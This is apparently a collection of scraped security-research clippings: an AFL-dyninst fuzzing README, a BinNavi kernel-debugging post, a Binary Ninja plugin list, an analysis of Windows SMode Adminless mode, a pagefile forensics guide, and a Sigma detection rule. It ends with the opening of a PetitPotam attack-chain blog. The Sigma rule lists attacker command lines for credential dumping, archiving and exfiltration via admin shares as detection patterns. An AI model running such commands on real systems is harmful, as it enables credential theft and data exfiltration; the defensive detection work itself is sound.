    with afl-gcc/afl-g++/afl-as. 
    Instrumentation tool (afl-dyninst) instruments the supplied binary by
    inserting callbacks for each basic block and an initialization 
    callback either at _init or at specified entry point.
    
    Usage: ./afl-dyninst -i <binary> -o <binary> -l <library> -e <address> -s <number>
                 -i: Input binary 
                 -o: Output binary
                 -l: Library to instrument (repeat for more than one)
                 -e: Entry point address to patch (required for stripped binaries)
                 -r: Runtime library to instrument (path to, repeat for more than one)
                 -s: Number of basic blocks to skip
                 -v: Verbose output
    
    Switch -l is used to supply the names of the libraries that should 
    be instrumented along the binary. Instrumented libraries will be copied
    to the current working directory. This option can be repeated as many times
    as needed. Depending on the environment, the LD_LIBRARY_PATH should be set 
    to point to instrumented libraries while fuzzing. 
    
    Switch -e is used to manualy specify the entry point where initialization
    callback is to be inserted. For unstipped binaries, afl-dyninst defaults 
    to using _init of the binary as an entry point. In case of stripped binaries
    this option is required and is best set to the address of main which 
    can easily be determined by disassembling the binary and looking for an 
    argument to __libc_start_main. 
    
    Switch -s instructs afl-dyninst to skip the first <number> of basic
    blocks. Currently, it is used to work around a bug in Dyninst
    but doubles as an optimization option, as skipping the basic blocks 
    of the initialization rutines makes things run faster. If the instrumented
    binary is crashing by itself, try skiping a number of blocks.
    
    Switch -r allows you to specify a path to the library that is loaded
    via dlopen() at runtime. Instrumented runtime libraries will be 
    written to the same location with a ".ins" suffix as not to overwrite
    the original ones. Make sure to backup the originals and then rename the
    instrumented ones to original name. 
    
    The instrumentation library "libDyninst.so" must be available in the current working
    directory as that is where the instrumented binary will be looking for it.
    
    Compiling:
    
    1. Edit the Makefile and set DYNINST_ROOT and AFL_ROOT to appropriate paths. 
    2. make
    
    Example of running the tool:
    
    Dyninst requires DYNINSTAPI_RT_LIB environment variable to point to the location
    of libdyninstAPI_RT.so.
    
    $ export DYNINSTAPI_RT_LIB=/usr/local/lib/libdyninstAPI_RT.so
    $ ./afl-dyninst -i ./rar -o ./rar_ins -e 0x4034c0 -s 100
    Skipping library: libAflDyninst.so
    Instrumenting module: DEFAULT_MODULE
    Inserting init callback.
    Saving the instrumented binary to ./rar_ins...
    All done! Happy fuzzing!
    
    Here we are instrumenting  the rar binary with entrypoint at 0x4034c0
    (manualy found address of main), skipping the first 100 basic blocks 
    and outputing to rar_ins. 
    
    Running AFL on instrumented binary
    
    Since AFL checks if the binary has been instrumented by afl-gcc,AFL_SKIP_BIN_CHECK environment 
    variable needs to be set. No modifications to AFL it self is needed. 
    $ export AFL_SKIP_BIN_CHECK=1
    Then, AFL can be run as usual:
    $ afl-fuzz  -i testcases/archives/common/gzip/ -o test_gzip -- ./gzip_ins -d -c 
    
[/code]

# Win32 Kernel Debugging with BinNavi « blog.zynamics.com

**Created:**| _4/7/2011 4:52:44 PM_  
---|---  
**Updated:**| _4/7/2011 4:52:44 PM_  
**Author:**| __  
**Tags:**| _Debugging kernel windows environment_  
  

## Win32 Kernel Debugging with BinNavi

By Felix Schuster

Hi everyone,

we – that would be Andy and Felix – are student interns at zynamics in Bochum.
We both study IT-Security at the University of Bochum in our 8th semester and
have both been with the company for several years now.

For the last half year we have been working together on a WinDbg kernel-
debugging interface for zynamics’ reverse engineering tool BinNavi. After our
latest bug fixes and code improvements we now feel ready to announce that this
piece of software has finally reached alpha status. It is now almost feature
complete but still got some rough edges and known bugs.

What does this mean to you as a \(maybe future\) BinNavi customer?

You will be able to use all the advanced debugging features of BinNavi for
remote Win32 driver and kernel debugging. All you need to have is a machine
with BinNavi and the Microsoft Debugging Tools for Windows installed and – of
course – a second Win32 \(virtual\) machine you want to debug. Given these
prerequisites, you can directly start to explore the vast and dark realms of
Win32 kernel land from an easy-to-use, nice and cozy GUI. There are probably
other tools out there to do this. But only BinNavi provides you with all the
powerful features of our Differential Debugging technology. Please see
Sebastian’s post from a few weeks ago to understand why we are so excited to
bring this technology to ring0.

To give you an idea of how kernel debugging with BinNavi looks like, we took
three screenshots. The first one shows the driver selection dialog that
BinNavi displays right after attaching to a target machine. The second one
displays a function trace of mrxsmb.sys on an idle Windows XP machine
connected to a network. The 150 functions called during our trace are
enumerated in the lower mid, while the recorded register and memory values for
each call are displayed in the lower right. In the third screenshot you can
see us single-stepping a random function in mrxsmb.sys.

Selection of the target driver

Function trace of mrxsmb.sys on idle machine

Single-stepping mrxsmb.sys

Once we are done polishing our code, we will post here again on this site to
demonstrate how this technology can facilitate the process of finding the
interesting code parts in Win32 drivers. Specifically, we will use
Differential Debugging to pin point the code parts that are responsible for
password processing inside the driver of a certain closed-source HDD
encryption product. This is interesting both for writing a password brute-
forcer and for checking for implementation mistakes.

If you are an existing BinNavi costumer and want to play a bit with the
current alpha version, just let us know – we will be happy to supply you with
the latest build. Beside that, the final version will be shipped to all
customers with one of the next BinNavi updates.

<img src='img/blog1.png' /><img src='img/blog2-e1280395418757.png' /><img
src='img/blog3-e1280395464860.png' />

# Vector35/community-plugins

**Created:**| _11/23/2017 11:07:39 AM_  
---|---  
**Updated:**| _11/23/2017 11:07:39 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Binary Ninja Plugins

PluginName | Author | License | Type | Description  
---|---|---|---|---  
Syscaller | Michal Melewski michal.melewski@gmail.com | MIT | binaryview | A plugins that print out details about encountered syscalls.  
Bookmarks | Josh Watson | MIT | core, ui | A plugin that adds bookmarking functionality.  
Microcorruption BinaryView Plugin | Josh Watson | MIT | binaryview, core, ui | A `BinaryView` for Microcorruption CTF memory dumps  
ripr | Patrick Biernat | MIT | none | Package binary code as a Python class backed by Unicorn-Engine  
Mach-O Symbols Generator | Bambu | MIT | ui | Creates symbols and renames functions in mach-o binaries  
x64dbgbinja | x64dbg | MIT | binaryview | Official x64dbg plugin for Binary Ninja.  
Nampa | Paolo Montesel \(github.com/kenoph\) | LGPL v3 | binaryview, core | FLIRT for \(binary\) ninjas  
VMNDH-2k12 Architecture Plugin | verylazyguy | MIT | architecture | A disassembler and lifter for the VMNDH-2k12 architecture.  
Annotator | Michal Melewski michal.melewski@gmail.com | MIT | binaryview | A plugins that annotates libc function arguments.  
Pasticciotto Architecture Plugin | Giulio De Pasquale | MIT | architecture | A disassembler for the Pasticciotto architecture.  
easypatch | Walter Schell | MIT | ui | Right click to patch contents of memory operands  
MSP430 Architecture Plugin | Josh Watson | MIT | architecture | A disassembler and lifter for the MSP430 architecture.  
Binjatron | snare | MIT | ui | Synchronise the Binary Ninja binary view with a debugger via Voltron.  
BNHook | Grant Orndorff | MIT | core, ui | Insert custom hooks  
Explain Instruction | Eric Hennenfent | Apache 2 | education, ui | Displays a window that explains in simple English what an assembly instruction does  
Radare2 Linear Sweep Plugin | David Manouchehri | BSD4 | binaryview, core, ui | Uses radare to identify extra symbols  
Simple Linear Sweep | butters | MIT | architecture, binaryview, core, ui | Uses simplistic techniques to identify additional functions for x86 and x86\_64 binaries.  
bnil-graph | Ryan Stortz \(@withzombies\) | Apache 2.0 | ui | A BinaryNinja plugin to graph a BNIL instruction tree  
BINoculars | rick2600 | MIT | ui | Plugin for Binary Ninja to centralize features useful in static analysis.  
msdn | Benedikt Schmotzle | MIT | ui | Search MSDN api reference  
Binja Architecture Reference | Eric Hennenfent | MIT | ui | Binary Ninja plugin to display a cheat sheet with information about the current architecture  
Binary Ninja Dynamic Analysis Tools | Eric Hennenfent | Apache 2 | dynamic, education, ui | Adds a series of dynamic analysis tools aimed at beginners to Binary Ninja.  
Intel 8051 Family Architecture Plugin | amtal | AGPLv3 | architecture | Disassembler for the 8051 architecture family.  
SPU Cell Architecture Plugin | Bambu | MIT | architecture, core, ui | A disassembler for the SPU Cell architecture.  
SyscallIdentify | Kevin Hascoët neolex@email.com | MIT | binaryview | A plugin that identify the syscalls.  
AVR Architecture Plugin | Carl Hurd | MIT | architecture, core, ui | A disassembler for the AVR architecture.  
Sensei | Eric Hennenfent | MIT | ui | A wrapper around several plugins that may be of use to beginners  
Frida Plugin | Chame1eon | MIT | binaryview, core, ui | A plugin to integrate the Frida dynamic instrumentation toolkit into Binary Ninja.  
LLIL | Kevin Chung | MIT | architecture, binaryview, core, ui | Linear IL view for Binary Ninja  
  

# Enabling Adminless Mode on Windows 10 SMode

**Created:**| _3/2/2019 6:31:04 PM_  
---|---  
**Updated:**| _3/2/2019 6:31:04 PM_  
**Author:**| _wishi_  
**Tags:**| _windows hardending_  
  

  

###  Enabling Adminless Mode on Windows 10 SMode

Microsoft has always been pretty terrible at documenting new and interesting
features for their System Integrity Policy used to enable security features
like UMCI, Device Guard/Windows Defender Application Control etc. This short
blog post is about another feature which seems to be totally undocumented\*,
but is available in Windows 10 since 1803, _Adminless_ mode.  
  
_\* No doubtAlex Ionescu will correct me on this point if I'm wrong._  
_  
__TL;DR;_ Windows 10 SMode has an _Adminless_ mode which fails any access
check which relies on the _BUILTIN\Administrators_ group. This is somewhat
similar to macOS's System Integrity Protection in that the Administrator user
cannot easily modify system resources. You can enable it by setting the DWORD
value  _SeAdminlessEnforcementModeEnabled_ in
_HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel_ to 1 on Windows
10 1809 SMode. I'd not recommend setting this value on a working SMode system
as you might lock yourself out of the computer.  
  
If you look at the kernel 1803 and above at the API  _SeAccessCheck_\(and
similar\) you'll see it now calls the method
_SeAccessCheckWithHintWithAdminlessChecks_. The _Adminless_ part is new, but
what is _Adminless_ and how is it enabled? Let's see some code, this is
derived from 1809 \[complexity reduced for clarity\]:  
  
BOOLEAN SeAccessCheck\(PSECURITY\_DESCRIPTOR SecurityDescriptor,
PSECURITY\_SUBJECT\_CONTEXT SubjectSecurityContext, BOOLEAN
SubjectContextLocked, ACCESS\_MASK DesiredAccess, ACCESS\_MASK
PreviouslyGrantedAccess, PPRIVILEGE\_SET \*Privileges, PGENERIC\_MAPPING
GenericMapping, KPROCESSOR\_MODE AccessMode, PACCESS\_MASK GrantedAccess,
PNTSTATUS AccessStatus\) \{ BOOLEAN AdminlessCheck = FALSE; PTOKEN Token =
SeQuerySubjectContextToken\(SubjectSecurityContext\); DWORD Flags; BOOLEAN
Result SeCodeIntegrityQueryPolicyInformation\(205, &Flags, sizeof\(Flags\)\);
if \(Flags & 0xA0000000\) \{ AdminlessCheck = SeTokenIsAdmin\(Token\) &&
\!RtlEqualSid\(SeLocalSystemSid, Token->UserAndGroups-&gt;Sid\);  
\} if \(AdminlessCheck\) \{ Result =
SeAccessCheckWithHintWithAdminlessChecks\( ..., GrantedAccess, AccessStatus,
TRUE\); if \(Result\) \{ return TRUE; \} if
\(SepAccessStatusHasAccessDenied\(GrantedAccess, AccessStatus\)  
&& SeAdminlessEnforcementModeEnabled\) \{ SepLogAdminlessAccessFailure\(...\);
return FALSE; \} \} return SeAccessCheckWithHintWithAdminlessChecks\( ...,
FALSE\); \}  
  
The code has three main parts. First a call is made to
_SeCodeIntegrityQueryPolicyInformation_ to look up system information class
205 from the CI module. Normally these information classes are also accessible
through _NtQuerySystemInformation_ , however 205 is not actually wired up in
1809 therefore you can't query the flags from user-mode directly. If the flags
returned have the bits 31 or 29 set, then the code tries to determine if the
token being used for the access check is an admin \(it the token a member of
the the _BUILTIN\Administrators_ group\) and it's not a SYSTEM token based on
the user SID.  
  
If this token is not an admin, or it's a SYSTEM token then the second block is
skipped. The  _SeAccessCheckWithHintWithAdminlessChecks_ method is called with
the access check arguments and a final argument of _FALSE_ and the result
returned. This is the normal control flow for the access check. If the second
block is instead entered  _SeAccessCheckWithHintWithAdminlessChecks_ is called
with the final argument set to _TRUE_. This final argument is what determines
whether _Adminless_ checks are enabled or not, but not whether the checks are
enforced. We'll see what the checks are are in a minute, but first let's
continue here. Finally in this block  _SepAccessStatusHasAccessDenied_ is
called which takes the granted access and the _NTSTATUS_ code from the check
and determines whether the access check failed with access denied. If the
global variable _SeAdminlessEnforcementModeEnabled_ is also _TRUE_ then the
code will log an optional ETW event and return _FALSE_ indicating the check
has failed. If Adminless mode is not enabled the normal non Adminless check is
made.  
  
There's two immediate questions you might ask, first where do the CI flags get
set and how do you set  _SeAdminlessEnforcementModeEnabled_ to _TRUE_? The
latter is easy, by creating a DWORD registry value set to 1 in
"HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel" with the name
_AdminlessEnforcementModeEnabled_ the kernel will set that global variable to
_TRUE_. The CI flags is slightly more complicated, the call to
_SeCodeIntegrityQueryPolicyInformation_ drills down to
_SIPolicyQueryWindowsLockdownMode_ inside the CI module. Which looks like the
following:  
  
void SIPolicyQueryWindowsLockdownMode\(PULONG LockdownMode\) \{ SIPolicyHandle
Policy; if \(SIPolicyIsPolicyActive\(7, &Policy\)\) \{ ULONG Options;
SIPolicyGetOptions\(Policy, &Options, NULL\); if \(\(Options >> 6\) & 1\)
\*LockdownMode |= 0x80000000; else \*LockdownMode |= 0x20000000; \} else \{
\*LockdownMode |= 0x40000000; \} \}  
  
The code queries whether policy 7 is active. Policy 7 corresponds to the
system integrity policy file loaded from WinSIPolicy.p7b \(see
_g\_SiPolicyTypeInfo_ in the CI module\) which is the policy file used by
SMode \(what used to be Windows 10S\). If 7 is active then the depending on an
additional option flag either bit 31 or bit 29 is set in the _LockdownMode_
parameter. If policy 7 is not active then bit 30 is set. Therefore what the
call in SeAccessCheck is checking for is basically whether the current system
is running Windows in SMode. We can see this more clearly by looking at 1803
which has slightly different code:  
  
if \(\!g\_sModeChecked\) \{ SYSTEM\_CODE\_INTEGRITY\_POLICY Policy = \{\};
ZwQuerySystemInformation\(SystemCodeIntegrityPolicyInformation, &Policy,
sizeof\(Policy\)\); g\_inSMode = Policy.Options & 0xA0000000; g\_sModeChecked
= TRUE; \}  
  
The code in 1803 makes it clear that if bit 29 or 31 is set then it's consider
to be SMode. This code also uses _ZwQuerySystemInformation_ instead of
_SeCodeIntegrityQueryPolicyInformation_ to extract the flags via the
_SystemCodeIntegrityPolicyInformation_ information class. We can call this
instead of information class 205 using NtObjectManager. We can see in the
screenshot below that on a non-SMode system calling
_NtSystemInfo::CodeIntegrityPolicy_ has Flag40000000 set which would not be
considered SMode.  
  

<img src='img/ci_policy_mode.PNG.png' width='640' height='284' alt='Calling
NtSystemInfo::CodeIntegrityPolicy in Powershell on a non-SMode system showing
Flag40000000' />

  
In contrast on an SMode installation we can see _Flag20000000_ is set instead.
This means it's ready to enable _Adminless_ mode.  
  

<img src='img/ci_policy_smode.PNG.png' width='640' height='210' alt='Calling
NtSystemInfo::CodeIntegrityPolicy in Powershell on a SMode system showing
Flag20000000' />

  
We now know how to enable _Adminless_ mode, but what is the mode enforcing?
The final parameter to  _SeAccessCheckWithHintWithAdminlessChecks_ is
forwarded to other methods. For example the method  _SepSidInTokenSidHash_ has
been changed. This method checks whether a specific SID is in the list of a
token's group SIDs. This is used for various purposes. For example when
checking the DACL each ACE is enumerated and  _SepSidInTokenSidHash_ is called
with the SID from the ACE and the token's group list. If the SID is in the
group list the access check handles the ACE according to type and updates the
current granted access. The change for _Adminless_ looks like the following:  
  
BOOLEAN SepSidInTokenSidHash\(PSID\_AND\_ATTRIBUTES\_HASH SidAndHash, PSID
Sid, BOOLEAN AdminlessCheck\) \{ if \(AdminlessCheck &&
RtlEqualSid\(SeAliasAdminsSid, Sid\) \) return FALSE; // ...  return TRUE; \}  
  
Basically if the _AdminlessCheck_ argument is _TRUE_ and the SID to check is
_BUILTIN\Administrators_ then fail immediately. This checks in repeated in a
number of other places as well. The net result is Administrators \(except for
SYSTEM which is needed for system operation\) can no longer access a resource
based on being a member of the _Administrators_ group. As far as I can tell it
doesn't block privilege checks, so if you were able to run under a token with
"GOD" privileges such as _SeDebugPrivilege_ you could still circumvent the OS
security. However you need to be running with High Integrity to use the most
dangerous privileges which you won't get as a normal user.  
  
I don't really know what the use case for this mode is, at least it's not
currently on by default on SMode. As it's not documented anywhere I could find
then I assume it's also not something Microsoft are expecting users/admins to
enable. The only thoughts I had were kiosk style systems or in Hyper-V
containers to block all administrators access. If you were managing a fleet of
SMode devices you could also enable this to make it harder for a user to run
code as admin, however it wouldn't do much if you had a privilege escalation
to SYSTEM.  
  
This sounds similar in some ways to System Integrity Protection/SIP/rootless
on macOS in that it limits the ability for a user modify the system except
rather than a flag which indicates a resource can be modified like on macOS
and administrator could still modify a resource as long as they have another
group to use. Perhaps eventually Microsoft might document this feature,
considering the deep changes to access checking it required. Then again,
knowing Microsoft, probably not.  
  
  
  
  
  
  
  
  
  
  

Posted by  tiraniddo at 15:39

  

  *[15:39]: 2019-01-13T15:39:00-08:00

# How to extract forensic artifacts from pagefile.sys? | So Long, and Thanks for All the Fish
**Created:**| _5/10/2019 8:30:23 AM_  
---|---  
**Updated:**| _5/10/2019 8:30:23 AM_  
**Author:**| __  
**Tags:**| _Forensics Hibernate_  
  

  

# How to extract forensic artifacts from pagefile.sys?

Posted on April 17, 2019 by Andrea Fortuna

<img src='img/pagefile2-e1550676118385.png' width='750' height='286' />

Microsoft Windows uses a paging file, called **pagefile.sys** , to store page-
size blocks of memory that do not current fit into physical memory.  
This file, stored in **%SystemDrive%\pagefile.sys** is a hidden system file
and it can never be read or accessed by a user, including **_Administrator_**.

It is possible to read this file by parsing the raw file system, or exact it
using tools like **FTKImager**.

<img src='img/Pagefile-768x141.jpg' width='617' height='113' />

Contrary to hybernation files, page files cannot be processed with
**Volatility** : in fact the page file is just the “holes” in memory where
blocks are stored to disk, it will often contain information that can be
relevant to the case you are trying to solve.

Because storage locations in the paging file are not necessarily sequential,
it is unlikely to find consecutive pages there.  
Although it is possible to find data in chunks smaller than or equal to
**4KB** , its the largest an examiner can hope for.  
So, the most productive method for analyzing paging files is searching for
strings.

* * *
### Analysis with “strings” command

To start your analysis on the page file you could use the **strings** command.  
  
Here some suggestions:

##### List all paths in pagefile

[code]

     $strings pagefile.sys | grep -i "^[a-z]:\\\\" | sort | uniq | less 
[/code]

##### Search for enviroment variables

[code]

    $ strings pagefile.sys | grep -i "^[a-zA-Z09_]*=.*" | sort -u | uniq | less
[/code]

##### Search for URLs

[code]

    $ strings pagefile.sys | egrep "^https?://" | sort | uniq | less
[/code]

##### Search for email addresses

[code]

    $ strings pagefile.sys | egrep '([[:alnum:]_.-]{1,64}+@[[:alnum:]_.-]{2,255}+?\.[[:alpha:].]{2,4})' 
[/code]

* * *
### Analysis with YARA rules

Furthermore, you may scan the pagefile.sys using YARA.  
Using \(for example\) the set of rules obtained with this method, you may scan
the pagefile in order to seek some malware artifacts not found in the volatile
memory:

[code]

    $ yara malware_rules.yar pagefile.sys
[/code]

* * *
### Additional readings

  * Using Every Part of the Buffalo in Windows Memory Analysis
  * Finding malware on memory dumps using Volatility and Yara rules

__ CategoriesDfir, Forensics __ Tagsforensics, Memory analysis, windows

# Neo23x0/sigma

**Created:**| _3/2/2019 6:14:23 PM_  
---|---  
**Updated:**| _3/2/2019 6:14:23 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

### Join GitHub today

GitHub is home to over 31 million developers working together to host and
review code, manage projects, and build software together.

Sign up

_Branch:_ master

Find file  Copy path

sigma / rules / apt / **apt\_judgement\_panda\_gtr19.yml**

<img src='img/1845601.jpg' width='20' height='20' alt='@thomaspatzke' />
thomaspatzke Increased indentation to 4 7602309  19 hours ago

**1** contributor

34 lines \(33 sloc\)  965 Bytes

Raw Blame History

Open this file in GitHub Desktop

1 | title: Judgement Panda Exfil Activity  
---|---  
2 | description: Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike  
3 | references:  
4 |  \- https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/  
5 | author: Florian Roth  
6 | date: 2019/02/21  
7 | tags:  
8 |  \- attack.lateral\_movement  
9 |  \- attack.g0010  
10 |  \- attack.credential\_access  
11 |  \- attack.t1098  
12 |  \- attack.exfiltration  
13 |  \- attack.t1002  
14 | logsource:  
15 |  category: process\_creation  
16 |  product: windows  
17 | detection:  
18 |  selection1:  
19 |  CommandLine:  
20 |  \- '\*\ldifde.exe -f -n \*'  
21 |  \- '\*\7za.exe a 1.7z \*'  
22 |  \- '\* eprod.ldf'  
23 |  \- '\*\aaaa\procdump64.exe\*'  
24 |  \- '\*\aaaa\netsess.exe\*'  
25 |  \- '\*\aaaa\7za.exe\*'  
26 |  \- '\*copy .\1.7z \\\\\*'  
27 |  \- '\*copy \\\client\c$\aaaa\\\*'  
28 |  selection2:  
29 |  Image: C:\Users\Public\7za.exe  
30 |  condition: selection1 or selection2  
31 | falsepositives:  
32 |  \- unknown  
33 | level: critical  
  

# PetitPotam: The Full Attack Chain with Windows and Linux

**Created:**| _8/26/2021 7:01:55 AM_  
---|---  
**Updated:**| _8/26/2021 7:01:55 AM_  
**Author:**| __  
**Tags:**| __  
  

  

# PetitPotam: The Full Attack Chain with Windows and Linux

25 August 2021

  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='184' class='js-evernote-checked'%3e %3cpath d='M20.11 26.147c-2.335 1.05-4.36 1.4-7.124 1.4C6.524 27.548.84 22.916.84 15.284.84 7.343 6.602.45 15.4.45c6.854 0 11.8 4.7 11.8 11.252 0 5.684-3.193 9.265-7.398 9.3-1.83 0-3.153-.934-3.347-2.997h-.077c-1.208 1.986-2.96 2.997-5.023 2.997-2.532 0-4.36-1.868-4.36-5.062 0-4.75 3.503-9.07 9.11-9.07 1.713 0 3.7.4 4.6.972l-1.17 7.203c-.387 2.298-.115 3.3 1 3.4 1.674 0 3.774-2.102 3.774-6.58 0-5.06-3.27-8.994-9.304-8.994C9.05 2.87 3.83 7.545 3.83 14.97c0 6.5 4.2 10.2 10 10.202 1.987 0 4.09-.43 5.647-1.245l.634 2.22zM16.647 10.1c-.31-.078-.7-.155-1.207-.155-2.572 0-4.596 2.53-4.596 5.53 0 1.5.7 2.4 1.9 2.4 1.44 0 2.96-1.83 3.31-4.088l.592-3.72z' data-evernote-id='232' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> email
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='185' class='js-evernote-checked'%3e %3cpath d='M24.253 8.756C24.69 17.08 18.297 24.182 9.97 24.62c-3.122.162-6.22-.646-8.86-2.32 2.702.18 5.375-.648 7.507-2.32-2.072-.248-3.818-1.662-4.49-3.64.802.13 1.62.077 2.4-.154-2.482-.466-4.312-2.586-4.412-5.11.688.276 1.426.408 2.168.387-2.135-1.65-2.73-4.62-1.394-6.965C5.574 7.816 9.54 9.84 13.802 10.07c-.842-2.738.694-5.64 3.434-6.48 2.018-.624 4.212.043 5.546 1.682 1.186-.213 2.318-.662 3.33-1.317-.386 1.256-1.248 2.312-2.4 2.942 1.048-.106 2.07-.394 3.02-.85-.458 1.182-1.343 2.15-2.48 2.71z' data-evernote-id='233' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> twitter
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 29 29' data-evernote-id='186' class='js-evernote-checked'%3e %3cpath d='M26.4 0H2.6C1.714 0 0 1.715 0 2.6v23.8c0 .884 1.715 2.6 2.6 2.6h12.393V17.988h-3.996v-3.98h3.997v-3.062c0-3.746 2.835-5.97 6.177-5.97 1.6 0 2.444.173 2.845.226v3.792H21.18c-1.817 0-2.156.9-2.156 2.168v2.847h5.045l-.66 3.978h-4.386V29H26.4c.884 0 2.6-1.716 2.6-2.6V2.6c0-.885-1.716-2.6-2.6-2.6z' data-evernote-id='234' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> facebook
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 28 28' data-evernote-id='187' class='js-evernote-checked'%3e %3cpath d='M25.424 15.887v8.447h-4.896v-7.882c0-1.98-.71-3.33-2.48-3.33-1.354 0-2.158.91-2.514 1.802-.13.315-.162.753-.162 1.194v8.216h-4.9s.067-13.35 0-14.73h4.9v2.087c-.01.017-.023.033-.033.05h.032v-.05c.65-1.002 1.812-2.435 4.414-2.435 3.222 0 5.638 2.106 5.638 6.632zM5.348 2.5c-1.676 0-2.772 1.093-2.772 2.54 0 1.42 1.066 2.538 2.717 2.546h.032c1.71 0 2.77-1.132 2.77-2.546C8.056 3.593 7.02 2.5 5.344 2.5h.005zm-2.48 21.834h4.896V9.604H2.867v14.73z' data-evernote-id='235' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> linkedin
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='188' class='js-evernote-checked'%3e %3cpath d='M11.794 15.316c0-1.03-.835-1.895-1.866-1.895-1.03 0-1.893.866-1.893 1.896s.863 1.9 1.9 1.9c1.023-.016 1.865-.916 1.865-1.9zM18.1 13.422c-1.03 0-1.895.864-1.895 1.895 0 1 .9 1.9 1.9 1.865 1.03 0 1.87-.836 1.87-1.865-.006-1.017-.875-1.917-1.875-1.895zM17.527 19.79c-.678.68-1.826 1.007-3.514 1.007h-.03c-1.686 0-2.834-.328-3.51-1.005-.264-.265-.693-.265-.958 0-.264.265-.264.7 0 1 .943.9 2.4 1.4 4.5 1.402.005 0 0 0 0 0 .005 0 0 0 0 0 2.066 0 3.527-.46 4.47-1.402.265-.264.265-.693.002-.958-.267-.334-.688-.334-.988-.043z' data-evernote-id='236' class='js-evernote-checked'%3e%3c/path%3e %3cpath d='M27.707 13.267c0-1.785-1.453-3.237-3.236-3.237-.792 0-1.517.287-2.08.76-2.04-1.294-4.647-2.068-7.44-2.218l1.484-4.69 4.062.955c.07 1.4 1.3 2.6 2.7 2.555 1.488 0 2.695-1.208 2.695-2.695C25.88 3.2 24.7 2 23.2 2c-1.06 0-1.98.616-2.42 1.508l-4.633-1.09c-.344-.082-.693.117-.803.454l-1.793 5.7C10.55 8.6 7.7 9.4 5.6 10.75c-.594-.45-1.3-.75-2.1-.72-1.785 0-3.237 1.45-3.237 3.2 0 1.1.6 2.1 1.4 2.69-.04.27-.06.55-.06.83 0 2.3 1.3 4.4 3.7 5.9 2.298 1.5 5.3 2.3 8.6 2.325 3.227 0 6.27-.825 8.57-2.325 2.387-1.56 3.7-3.66 3.7-5.917 0-.26-.016-.514-.05-.768.965-.465 1.577-1.565 1.577-2.698zm-4.52-9.912c.74 0 1.3.6 1.3 1.3 0 .738-.6 1.34-1.34 1.34s-1.343-.602-1.343-1.34c.04-.655.596-1.255 1.396-1.3zM1.646 13.3c0-1.038.845-1.882 1.883-1.882.31 0 .6.1.9.21-1.05.867-1.813 1.86-2.26 2.9-.338-.328-.57-.728-.57-1.26zm20.126 8.27c-2.082 1.357-4.863 2.105-7.83 2.105-2.968 0-5.748-.748-7.83-2.105-1.99-1.3-3.087-3-3.087-4.782 0-1.784 1.097-3.484 3.088-4.784 2.08-1.358 4.86-2.106 7.828-2.106 2.967 0 5.7.7 7.8 2.106 1.99 1.3 3.1 3 3.1 4.784C24.86 18.6 23.8 20.3 21.8 21.57zm4.014-6.97c-.432-1.084-1.19-2.095-2.244-2.977.273-.156.59-.245.928-.245 1.036 0 1.9.8 1.9 1.9-.016.522-.27 1.022-.57 1.327z' data-evernote-id='237' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> reddit
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='28' height='28' viewBox='0 0 28 28' data-evernote-id='189' class='js-evernote-checked'%3e %3cpath fill='%23FFF' d='M14 13.626l-4.508-9.19H6.588l6.165 12.208v6.92h2.51v-6.92l6.15-12.21H18.69' data-evernote-id='238' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> hackernews
  * <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' width='24' height='24' viewBox='0 0 24 24' data-evernote-id='190' class='js-evernote-checked'%3e %3cpath d='M21 8.29h-1.95v2.6h-2.6v1.82h2.6v2.6H21v-2.6h2.6v-1.885H21V8.29zM7.614 10.306v2.925h3.9c-.26 1.69-1.755 2.925-3.9 2.925-2.34 0-4.29-2.016-4.29-4.354s1.885-4.353 4.29-4.353c1.104 0 2.014.326 2.794 1.105l2.08-2.08c-1.3-1.17-2.924-1.883-4.874-1.883C3.65 4.586.4 7.835.4 11.8s3.25 7.212 7.214 7.212c4.224 0 6.953-2.988 6.953-7.082 0-.52-.065-1.104-.13-1.624H7.614z' data-evernote-id='239' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> google+
  * <img src='data:image/svg+xml,%3csvg width='32' height='28' viewBox='0 0 32 28' xmlns='http://www.w3.org/2000/svg' data-evernote-id='191' class='js-evernote-checked'%3e %3cpath d='M28.782.002c2.03.002 3.193 1.12 3.182 3.106-.022 3.57.17 7.16-.158 10.7-1.09 11.773-14.588 18.092-24.6 11.573C2.72 22.458.197 18.313.057 12.937c-.09-3.36-.05-6.72-.026-10.08C.04 1.113 1.212.016 3.02.008 7.347-.006 11.678.004 16.006.002c4.258 0 8.518-.004 12.776 0zM8.65 7.856c-1.262.135-1.99.57-2.357 1.476-.392.965-.115 1.81.606 2.496 2.453 2.334 4.91 4.664 7.398 6.966 1.086 1.003 2.237.99 3.314-.013 2.407-2.23 4.795-4.482 7.17-6.747 1.203-1.148 1.32-2.468.365-3.426-1.01-1.014-2.302-.933-3.558.245-1.596 1.497-3.222 2.965-4.75 4.526-.706.715-1.12.627-1.783-.034-1.597-1.596-3.25-3.138-4.93-4.644-.47-.42-1.123-.647-1.478-.844z' data-evernote-id='240' class='js-evernote-checked'%3e%3c/path%3e %3c/svg%3e' /> pocket

This blog will cover how to execute a full attack chain of the recently
disclosed Petit Potam attack from both Linux and Windows machines.

### Background

